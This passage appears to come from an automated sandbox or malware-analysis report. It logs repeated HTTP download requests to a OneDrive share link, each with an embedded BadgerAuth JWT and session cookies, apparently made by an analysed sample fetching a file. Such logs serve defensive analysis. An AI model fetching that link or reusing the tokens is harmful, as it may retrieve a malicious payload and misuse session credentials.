E=P:ykBBZ1Wc3Ig=:6Lh6MZ1GrqAwa934BIoKjvKBex9i0nS5Cje99Nx34tc=:F; xid=78918723-f402-4bd7-a49f-cee669becd5d&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzg0LCJuYmYiOjE3MjAxMTY5ODQsImdpdmVuX25hbWUiOiIyOSIsImZhbWlseV9uYW1lIjoiQ2F0dGxlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNmU1NmZkZTdkZjJhN2Q3MzRmYjJiMTM5MjZiYzdmNmIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk4NH0.A8H38CC5GnaUwAHby4XHZDLvRwJLiM2wC8hZ_XrfhOHU9W_-EbHbjW7Cr5MYCstHl-pyvyV-TH1zIbtOQzZV_FwJqI08EuTlf4aoI2uEV6zxJkCI9YLF8YgYXmtL62MROwNkzlM4FXREF6H8xPk0Rw-juurayZsAXJyWvAPY5xwWN-09JpHNWeCZ2N_EhSNtcWqEy4Z_tBj84MO7r-4dWzh7Dgw7hwz8I8m7rEighhuNwxk09FzfzXr6KKRlx0UzVIF3CXQcoXWtU3WMbjpfjVqECrxp9d6jVK7J9dHVt4y8bk8ZSVQ-Kj40kPllIiLH1p_uayJdzelQiWk45Y9l6Q; E=P:OaTRaVWc3Ig=:G4doDmkaWFRe7EZ0t26bIMwRRNi9IRfQ4dEpFkBQ06I=:F; xid=24641249-8f0a-4180-a85e-fd0f5cb66f48&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzg5LCJuYmYiOjE3MjAxMTY5ODksImdpdmVuX25hbWUiOiI4MSIsImZhbWlseV9uYW1lIjoiQmVhciIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImJlNTE1N2EwY2M0NjQzMWVhZjUzY2ZlMDU3NDlhZDY4IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5ODl9.ZTxlP3Nw4-mDALthZTvgZfwlvirc1fWp3xlPqyffn6jlLlXGDSEyszdEMjCTDxpuUlCs0nVISjtSri0s6EnLU-XlEArKBqhn9i05GwZnDxnwhI3Xk2TPvPMD2N4FYjm3JnVd_IiKkRJbOOxQ4PdMYFCad5GvSfvVO0h9kluVcEuctFQSWYD46Spim8o6TVLbt6XhML2TY3r8qvpqWw4_m6ho2Oz2TvLpvkhtZ4OHGs4udS8BY6_VsmTDJBZXpWdwWoEPy5Syet7_lB02KY2Um3mh-ZhcOjQQ0chHcFJNsM2R-pA7yn5Z6whz_nGL6LfBlbaey4G7YWjvcK2jFA9JKw; E=P:8AX0bFWc3Ig=:LZbrhg6b6BQkmsXqbtMNxbuLx8hk7Cez1umANXkk/AU=:F; xid=584f9db2-02a8-4bd3-8486-ddd4b2980e1e&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzkyLCJuYmYiOjE3MjAxMTY5OTIsImdpdmVuX25hbWUiOiIxNCIsImZhbWlseV9uYW1lIjoiV2hhbGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJiYmM1N2FiMDcwOTllOWQ0YzFjMjQ5NDcwNmNhZDE4ZCIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE2OTkyfQ.IndgdPbPs2JEeYo9wHcgNxYRs66m-JtICVMBJ4dr4mYvyWpIA9ZT5igZbDEHGW_vOct1K_2wz_DmaILmUqanERETQh-oKei81FzPudT2DExTjxHXH7CEcsEheZ861O1HLfdyqUvZS1tk8U3p_aNW9TGFMCa1hGNQqNJEAYK7tYbCRyicBjfCE0qS3Tw3nP7L32yCVzKwin5N58T3OVN8MsXlQY6pJrTSbKQX611XGAfo4tyEhxd0V0w3IMIAsvnACnYH9-QpK290GCMm_rUxcux9zxf0BPKwBSXiycWcptEmGw3-aUJ-fW4K5bFbbC0-SWOKsIykrVZ4R8NZsZEQOg; E=P:Lx8Kb1Wc3Ig=:rDRpPwadbJd1Vaz1K7cbLgcyL50aYLnhjX66tE3OUtw=:F; xid=1f589e86-5ce7-42b3-a1c9-0b51b94a5752&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzk2LCJuYmYiOjE3MjAxMTY5OTYsImdpdmVuX25hbWUiOiI5NCIsImZhbWlseV9uYW1lIjoiUGVhZm93bCIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImRhNWMyNDk0YzIzNTVjMzlmNjQxYjA4MTQyZDExMGRlIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5OTZ9.pHYh7HI3jGSjlcrUU1pxaC1LTlQxwj9SRBabhT4gqqL930XC7PXb1pF1uA4hV76Z2TtYKxUR-I954A8Uhs-93eHPUr8zDweZ0yrYXgcOItNarAS_HbCOEZmiqpRgCAVSqdVrNw3gi5vmeGwXnxqUYTROGAevIf48mV9TsdzYv3mod-JTJeSwI8KxInavT02vZfoE9c4JzKJLOdjarLipvdWgZIlTO5GI2y-FbaijXxxcvG7NpXTpjPt12bAVPDuxD871zukjO7TTvTI7t1izKJ4RCCy_BTlOqvjhNn49JjKNNVP0dS2_AI3C_M68fzRcQpK7Ckh9eo2tV8KAap_stA; E=P:5agjcVWc3Ig=:wHmRBo2tz1sjEeVtYZaIf671dZJ3jhdYlhaSKLxRq2c=:F; xid=b876e420-faa5-442a-aed6-e4fa6e6a60ce&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzk5LCJuYmYiOjE3MjAxMTY5OTksImdpdmVuX25hbWUiOiIyMCIsImZhbWlseV9uYW1lIjoiTG9ic3RlciIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImIzYTBjYWFkMjk3ZjEwZTc1ZGVhNzE5MjJhZTQ4NmU0IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5OTl9.SerQlmWNcua-ZJsgbT3gT3cqC4OrJlEeovW0543RVjjkLcWo4j0bgqFT-57XoWJ1z4xGNtMzF02CObb8B2CGfxyLqoYiOhVWN_-_fTodbYkNF7M7qef0fzfBIo5c0fBjTp1rGaY6_koH4e015YBcu8-aLGgX4lqpigcqoKK746nI5oeDwk11WH9S3514zb75pyRfO60W5lZEwxkxUzQmUsZLOjqkt3fkpUPxGkR4dQtyrqOy8daWl8Teo9iySsJi03z-EaRVY3bgqhgpo4eIm89YEKEbyMsnkkBbASLl_7NrSB9ieoDNgb1bO9vaF-jMyrLqz186z-YtkMq2ATYpCg; E=P:/l8Uc1Wc3Ig=:T0jantWJXIuXfPbPMBo2pzyxSRxW5PNJjPV2r+TL3N8=:F; xid=b0bbc841-bb45-41a5-98de-32db8fcd231f&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODAzLCJuYmYiOjE3MjAxMTcwMDMsImdpdmVuX25hbWUiOiIzNCIsImZhbWlseV9uYW1lIjoiU25haWwiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJmYTkyYzVjOGY3ZDI4ODdiNzcyNjQxMTkzYjE4MGQ1YiIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDAzfQ.bpLSWI_-Gp-xAZ0OBgh5gNKrg-RG96SnnD6KDlxEBrVSroPbiivkw-1TwVmA7wOJFdaoszKbtJxN0KXJDaxsvD1tWygI4T5Rab7cETjip2902eRXDUW43hlBDIzCHy0Jy5WV-gpaI4_kg05nIOPia-xj9KUnUvMJLdtXUPo6PRofUmW_pPQkqce8yr5n1CD5ryp_I5LJkeAOzaPPzVpjNYIyKswI8GUMFrm27RUasNaB8h7qyGwxPDVNwZGs0RoCBSEzI00MChih6taSzOWfotfL3INWV6BeKIOEb-3Jecq0pf7-sBgoUIIg3FK3yJVyCsVSpFKHCG-z_dgFfKWv7g; E=P:09EUdVWc3Ig=:+wFe02y5TJpogyh36iVtTDIybT1Zgqodaq8Ea7LT2Ac=:F; xid=06b2ffe9-5b3c-4006-8786-4430883b992f&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODA2LCJuYmYiOjE3MjAxMTcwMDYsImdpdmVuX25hbWUiOiI0MyIsImZhbWlseV9uYW1lIjoiV3JlbiIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImFjNDUxNjg0N2E0ZGQ4ZTcyNjY5YTYyNzE1M2FlM2QzIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwMDZ9.dDCFs8f1d0ugKdk9rQOfqLyzh-luw1YMdsjkkcGKnIUUmY2f7pMzAm9N_nygBwDwdWbdvXBMuHqLdw01o9tpre1sIHw0PebpAx9j7bWkTqOKZIztXQ8N1vjxLFztHVThvjoaiVFI3e2o77sHx8U2KX0wdfriQ-jCszWG_ZlxzPjbognOoVTSxvIAV2_RlpXSBPqmmPNDBLrrF2JJCd3mjhW7Wmq5mG3LvXR5Vc4oqoyq192KPefeDu9xfQOpBELAKMXeW95e3Aoa_aemyq4ywE6qKFnoNC4UF_ip8x5w0w9DvgeXNrRQ79AV2d2Br-pBY7iBfMxUWdlBe3wx6m9K5g; E=P:GbUld1Wc3Ig=:t22Ik5vnCX5++CgJwZcc65dGIUF/GHUcRkyRMZx5VAk=:F; xid=0127c4b6-9d28-44a4-bd06-2c593c2fd4b7&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODEwLCJuYmYiOjE3MjAxMTcwMTAsImdpdmVuX25hbWUiOiI2MiIsImZhbWlseV9uYW1lIjoiU2VhIGxpb24iLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJiMTI4N2RjZDFlMmQ4ODMzNjIxMTM2ZDM2OGRhZDhmNSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDEwfQ.fEvUuSteAPVmrxgPcq1Jqi7xrPSUtGLJ_UBefkjjqgEsXH-in1zDm2mZzvCKQg_TERWZIEVrbjqp0PPkmKdBMRxr7csft_vI4RwjtFJnw_AT8oNg9aSK108dV7uG2yNq7kNoOixCkHED1f1BfdbDcuBQ4o2XPGKuhGIh1P_KovO5_v-bEGLVyrGzPxkdLyZuNI2vRVlJFHQmcYrkLIWcgfUS9EQ4oKobjZmUaL1MDjPTprj3M9TJV7OZVA2nNF7HcVhUFjkpj3_mgNcfAPI8ppTq9uOscFQAopAe33WNXgoXKkQIbGOwMz-OxEU7nO94He7VWDSj_pMHomFW_dg2wQ; E=P:B1FieVWc3Ig=:hem1BL/yjr2leFUwsfjC2mk7qR/8c6Qh4lplsPfcmg8=:F; xid=8ad4d231-d03a-4355-a0cc-fe01ec3ed3c2&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODEzLCJuYmYiOjE3MjAxMTcwMTMsImdpdmVuX25hbWUiOiIxOSIsImZhbWlseV9uYW1lIjoiQmVlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMTk0MDFjOGIyYTRjNGYyOWY4ZmI3M2MwMmNhOGI5NDMiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAxM30.G34D1zXblj5u8OaRb7svRNz9g9knmqCTQRduMQXH3NLWRPywUX3il_P3zZlhsWpfa3pJMtacNlTsLOA6MQhBWJVmDwGa0HhYf8hKMLhooUYKiFCdzJPjgNJaigDkg0wqeLFM2UMfWa02Qvgc39Q8gIz9fYKNUxP8D1F4fb03wB-i9CFqveYC5UVxEE9drK3Pu9Rd_Khe-KZ2rtrCYE5INXgtQWWnkxT_CzgaYTdiVqIUPATu8Wi351E-cUxL2OJNuVDrsY_8yQ79WhCuCOQrcT405mE3B1FYRhNyX_EtDBAYPnmolcH0kftelkPf-MTuJARLQRfTwHGlIU8eKfAtVw; E=P:OmBje1Wc3Ig=:UCCUAqNeIaYGPyX9nihGNejj5epWn6cDyLlUKz3+16U=:F; xid=d4c5dad0-d4a9-449f-9440-e08cd7181edb&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODE3LCJuYmYiOjE3MjAxMTcwMTcsImdpdmVuX25hbWUiOiI1MyIsImZhbWlseV9uYW1lIjoiUmhpbm9jZXJvcyIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjZhZDQ2NTZlMzEzZjc0YzBlYzdjZTQ2MGI1NWExODE3IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwMTd9.G63E1lkXlDcTd8aTifbz7Yvkvb0MEOLR717fyaskNLcOXELlNo6MFvIx24LSkgpE0kufzMU7NHXdkRlamV7rzWw6dvXT6eBoGpMsag3GAaNV2i7OFJP1XnjEeuhyIWAnlc2nBKjCue90Ih2CTPdlcTpHnDeXSku-wh0iace_M-iREngdSLJoRzM-5twYGvrq5JR7jVBuSKyaKwW6PPutftcSuDSU-SW2uQ2mF-dqcwpiAsPKuDr7gjURSyTdtx9JhCZpV3YdVGPURcKEtk3ijAa_h650QZEvuNTb59weOzkzpFtvywIHkoyIMBU8zc1tJENmZoXWP27tQUCnDvU9oA; E=P:kvuNfVWc3Ig=:4p8i+TmyCd3C8tzfaFRVOsjSid20aIVPdjuTXDcLX+c=:F; xid=ee7c0d1a-658d-4c05-b4c0-add4fec3c519&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
